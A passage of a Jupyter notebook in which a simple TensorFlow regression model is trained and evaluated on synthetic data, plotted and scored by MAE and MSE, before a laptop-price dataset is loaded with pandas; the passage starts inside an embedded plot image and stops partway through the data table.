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rU7QdwrOEtX5bsM+3lq0k3SHk2E9G/DYLTU1gk1EREQkH1IwzkiDtVNh1dvgVRQGfAJN7iUyJoHgf61jy7442tUpw4TbA6leRiPYRERERPKrgh2MD22B2c9AzHZoNBB6vkWKdxk+XhrJJ7/vxte7EO/e1YSBzapoBJuIiIhIPldwg3FCLHzVC4qUhkE/QINebNhzguCZq9kTm8iAppV5rU8AZTSCTURERKRAKLjBuFg5uOsbqN6G07Yob4Zs44eNB6haqgjfPNqSW+uVc3eHIiIiIpKDCm4wBmy97iwIPcqYuZs4kZDKkA61eL5rXYoWLtDLIiIiIlIgFdgEeDopnZd++YtlETE0ruLHVw+3oHGVEu5uS0RERETcpMAG46LensQlpTOiV0MeaVeDQhrBJiIiIlKgFdhg7OXpwS9PtsHDQ9MmRERERAQK9GVShWIRERER+Y8CHYxFRERERP5DwVhEREREBAVjERERERFAwVhEREREBFAwFhEREREBFIxFRERERAAFYxERERERQMFYRERERARQMBYRERERARSMRUREREQABWMREREREUDBWEREREQEUDAWEREREQEUjEVEREREAAVjERERERFAwVhEREREBFAwFhEREREBwFhr3d0DxphYYJ+b/vVlgeNu+nfnVVqzK6c1u3JasyunNbtyWrMrpzW7clqzK3cj16y6tbZcVgdyRTB2J2PMZmttkLv7yEu0ZldOa3bltGZXTmt25bRmV05rduW0ZlfOXWumWylERERERFAwFhEREREBFIwBprm7gTxIa3bltGZXTmt25bRmV05rduW0ZldOa3bl3LJmBf4eYxERERER0BVjERERERGgAAdjY0wPY8xOY0yUMWaYu/vJrYwxXxpjYowxYee8V9oYs9QYsyvzYyl39pibGGOqGWNWGGMijDHbjTHPZb6vNcuGMcbHGLPRGPN35pq9nvm+1uwSjDGexpg/jTHzMl9rzS7CGBNtjAk1xvxljNmc+Z7W7CKMMSWNMb8aY3Zkfl9rozW7OGNM/cxfY//5J94Y87zWLXvGmBcyv/+HGWN+yPy54Jb1KpDB2BjjCXwE9AQCgHuNMQHu7SrX+hro8T/vDQOWW2vrAsszX4tLBvCStbYh0Bp4KvPXltYse6lAZ2ttE6Ap0MMY0xqt2eV4Dog457XW7NI6WWubnjMGSmt2cVOBRdbaBkATXL/etGYXYa3dmflrrCnQHEgCZqJ1y5IxpgrwLBBkrW0MeAKDcNN6FchgDLQEoqy1e6y1acCPQH8395QrWWtXASf/5+3+wDeZn38DDMjJnnIza+0Ra+3WzM/P4PohUgWtWbasS0LmS6/Mfyxas4syxlQFegOfn/O21uzKac2yYYzxAzoAXwBYa9OstafQml2JLsBua+0+tG4XUwgoYowpBBQFDuOm9SqowbgKcOCc1wcz35PLU8FaewRcQRAo7+Z+ciVjTA3gZmADWrOLyrwl4C8gBlhqrdWaXdoU4FXAec57WrOLs8ASY8wWY8yQzPe0ZtmrBcQCX2XesvO5McYXrdmVGAT8kPm51i0L1tpDwCRgP3AEOG2tXYKb1qugBmOTxXsazyHXjTGmGDADeN5aG+/ufnI7a60j868dqwItjTGN3dxSrmaM6QPEWGu3uLuXPKadtbYZrtvonjLGdHB3Q7lcIaAZ8Im19mYgEf31/2UzxhQG+gG/uLuX3Czz3uH+QE2gMuBrjBnsrn4KajA+CFQ753VVXJft5fIcM8ZUAsj8GOPmfnIVY4wXrlD8nbU2JPNtrdllyPxr2pW47mvXmmWvHdDPGBON61awzsaY6WjNLspaezjzYwyuez5bojW7mIPAwcy/wQH4FVdQ1ppdnp7AVmvtsczXWresdQX2WmtjrbXpQAjQFjetV0ENxpuAusaYmpl/ohsEzHFzT3nJHOChzM8fAma7sZdcxRhjcN2PF2GtnXzOIa1ZNowx5YwxJTM/L4Lrm+QOtGbZstYGW2urWmtr4Pr+9Zu1djBas2wZY3yNMcX/8zlwGxCG1ixb1tqjwAFjTP3Mt7oA4WjNLte9/Pc2CtC6ZWc/0NoYUzTzZ2gXXM/nuGW9CuwGH8aYXrju0fMEvrTWjndvR7mTMeYHoCNQFjgGjAZmAT8D/rh+Qd9lrf3fB/QKJGPMLcBqIJT/3vs5HNd9xlqzLBhjbsL1YIUnrj+s/2ytHWuMKYPW7JKMMR2Bl621fbRm2TPG1MJ1lRhctwh8b60drzW7OGNMU1wPeBYG9gCPkPn7FK1ZtowxRXE9y1TLWns68z39WstG5pjOe3BNdvoTeBwohhvWq8AGYxERERGRcxXUWylERERERM6jYCwiIiIigoKxiIiIiAigYCwiIiIiAigYi4iIiIgACsYiIiIiIoCCsYiIiIgIoGAsIiIiIgLA/wO1fQljQwspugAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "plt.figure(figsize=(12,8))\n", - "plt.plot(y_test)\n", - "plt.plot(y_pred)" - ] - }, - { - "cell_type": "code", - "execution_count": 56, - "id": "453d1f87", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "3/3 [==============================] - 0s 4ms/step - loss: 4.9108 - mae: 4.9108\n" - ] - }, - { - "data": { - "text/plain": [ - "[4.910810470581055, 4.910810470581055]" - ] - }, - "execution_count": 56, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Evaluating our model\n", - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 57, - "id": "43b59417", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(array([[182.86089],\n", - " [186.91278],\n", - " [190.96469],\n", - " [195.01659],\n", - " [199.0685 ],\n", - " [203.12038],\n", - " [207.17229],\n", - " [211.22417],\n", - " [215.27608],\n", - " [219.32797],\n", - " [223.37987],\n", - " [227.43175],\n", - " [231.48366],\n", - " [235.53554],\n", - " [239.58745],\n", - " [243.63934],\n", - " [247.69124],\n", - " [251.74313],\n", - " [255.79503],\n", - " [259.84692],\n", - " [263.89883],\n", - " [267.9507 ],\n", - " [272.00262],\n", - " [276.0545 ],\n", - " [280.10638],\n", - " [284.1583 ],\n", - " [288.2102 ],\n", - " [292.2621 ],\n", - " [296.314 ],\n", - " [300.36588],\n", - " [304.41776],\n", - " [308.46967],\n", - " [312.52158],\n", - " [316.57346],\n", - " [320.62537],\n", - " [324.67728],\n", - " [328.72916],\n", - " [332.78107],\n", - " [336.83295],\n", - " [340.88486],\n", - " [344.93677],\n", - " [348.98865],\n", - " [353.04053],\n", - " [357.09244],\n", - " [361.14432],\n", - " [365.19623],\n", - " [369.24814],\n", - " [373.30002],\n", - " [377.35193],\n", - " [381.4038 ],\n", - " [385.45572],\n", - " [389.50763],\n", - " [393.5595 ],\n", - " [397.61142],\n", - " [401.6633 ],\n", - " [405.7152 ],\n", - " [409.7671 ],\n", - " [413.819 ],\n", - " [417.8709 ],\n", - " [421.9228 ],\n", - " [425.9747 ],\n", - " [430.02658],\n", - " [434.0785 ],\n", - " [438.13037],\n", - " [442.18228],\n", - " [446.2342 ],\n", - " [450.2861 ],\n", - " [454.33798],\n", - " [458.3899 ],\n", - " [462.44177],\n", - " [466.49365],\n", - " [470.5456 ],\n", - " [474.59747],\n", - " [478.64935],\n", - " [482.70123],\n", - " [486.75317],\n", - " [490.80505],\n", - " [494.85693],\n", - " [498.90884],\n", - " [502.96072]], dtype=float32),\n", - " )" - ] - }, - "execution_count": 57, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred,tf.squeeze(y_pred)" - ] - }, - { - "cell_type": "code", - "execution_count": 58, - "id": "0678c73c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 58, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Calculating mae ( mean absolute error)\n", - "tf.metrics.mae(y_test,y_pred=tf.squeeze(y_pred))" - ] - }, - { - "cell_type": "code", - "execution_count": 59, - "id": "ddc6b9af", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 59, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Calculating mse ( mean square error)\n", - "tf.metrics.mse(y_test,y_pred=tf.squeeze(y_pred))" - ] - }, - { - "cell_type": "markdown", - "id": "edc2f477", - "metadata": {}, - "source": [ - "# Makin model from actual file dataset" - ] - }, - { - "cell_type": "code", - "execution_count": 60, - "id": "b7a71598", - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import tensorflow as tf\n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "from sklearn.model_selection import train_test_split\n", - "from sklearn.preprocessing import StandardScaler, LabelEncoder, MinMaxScaler" - ] - }, - { - "cell_type": "code", - "execution_count": 61, - "id": "08662eeb", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
ManufacturerIntelCore(i-)IntelCoreGenprocessing speed(GHz)Ram(gb)HDD(gb)SSD(gb)Graphics(gb)ScreenSize(inch)Price
0Dell372.29410000015.639057
1Dell372.30410000015.645141
2HP372.308256256014.035999
3ASUS372.30410000014.039990
4HP372.40410000015.636263
5HP242.304500256014.026403
6Lenovo372.30410000015.638290
7HP581.60810000014.053554
8Lenovo131.80410000015.629990
9Dell383.90410000014.038090
10HP372.30810000015.642192
11Lenovo252.30410000015.634890
12HP372.30410000014.033905
13Lenovo382.10410000015.642590
14Lenovo382.10810000015.645390
15HP372.30810000015.640338
16ASUS581.608512512015.656990
17Lenovo131.80410000015.630690
18HP372.40410000015.635634
19HP592.4081000256415.674931
20ASUS592.1081000512415.697990
21HP592.40810000415.669071
22ASUS782.208100016415.6109999
23Lenovo792.6081000256415.6118890
24Lenovo792.60161000256415.6128690
25Lenovo792.6081000512415.6118890
26Lenovo592.4081000256315.692990
27ASUS792.60321000512817.3402990
28HP792.6081000256415.699555
\n", - "
" - ], - "text/plain": [ - " Manufacturer IntelCore(i-) IntelCoreGen processing speed(GHz) Ram(gb) \\\n", - "0 Dell 3 7 2.29 4 \n", - "1 Dell 3 7 2.30 4 \n", - "2 HP 3 7 2.30 8 \n", - "3 ASUS 3 7 2.30 4 \n", - "4 HP 3 7 2.40 4 \n", - "5 HP 2 4 2.30 4 \n", - "6 Lenovo 3 7 2.30 4 \n", - "7 HP 5 8 1.60 8 \n", - "8 Lenovo 1 3 1.80 4 \n", - "9 Dell 3 8 3.90 4 \n", - "10 HP 3 7 2.30 8 \n", - "11 Lenovo 2 5 2.30 4 \n", - "12 HP 3 7 2.30 4 \n", - "13 Lenovo 3 8 2.10 4 \n", - "14 Lenovo 3 8 2.10 8 \n", - "15 HP 3 7 2.30 8 \n", - "16 ASUS 5 8 1.60 8 \n", - "17 Lenovo 1 3 1.80 4 \n", - "18 HP 3 7 2.40 4 \n", - "19 HP 5 9 2.40 8 \n", - "20 ASUS 5 9 2.10 8 \n", - "21 HP 5 9 2.40 8 \n", - "22 ASUS 7 8 2.20 8 \n", - "23 Lenovo 7 9 2.60 8 \n", - "24 Lenovo 7 9 2.60 16 \n", - "25 Lenovo 7 9 2.60 8 \n", - "26 Lenovo 5 9 2.40 8 \n", - "27 ASUS 7 9 2.60 32 \n", - "28 HP 7 9 2.60 8 \n", - "\n", - " HDD(gb) SSD(gb) Graphics(gb) ScreenSize(inch) Price \n", - "0 1000 0 0 15.6 39057 \n", - "1 1000 0 0 15.6 45141 \n", - "2 256 256 0 14.0 35999 \n", - "3 1000 0 0 14.0 39990 \n", - "4 1000 0 0 15.6 36263 \n", - "5 500 256 0 14.0 26403 \n", - "6 1000 0 0 15.6 38290 \n", - "7 1000 0 0 14.0 53554 \n", - "8 1000 0 0 15.6 29990 \n", - "9 1000 0 0 14.0 38090 \n", - "10 1000 0 0 15.6 42192 \n", - "11 1000 0 0 15.6 34890 \n", - "12 1000 0 0 14.0 33905 \n", - "13 1000 0 0 15.6 42590 \n", - "14 1000 0 0 15.6 45390 \n", - "15 1000 0 0 15.6 40338 \n", - "16 512 512 0 15.6 56990 \n", - "17 1000 0 0 15.6 30690 \n", - "18 1000 0 0 15.6 35634 \n", - "19 1000 256 4 15.6 74931 \n", - "20 1000 512 4 15.6 97990 \n", - "21 1000 0 4 15.6 69071 \n", - "22 1000 16 4 15.6 109999 \n", - "23 1000 256 4 15.6 118890 \n", - "24 1000 256 4 15.6 128690 \n", - "25 1000 512 4 15.6 118890 \n", - "26 1000 256 3 15.6 92990 \n", - "27 1000 512 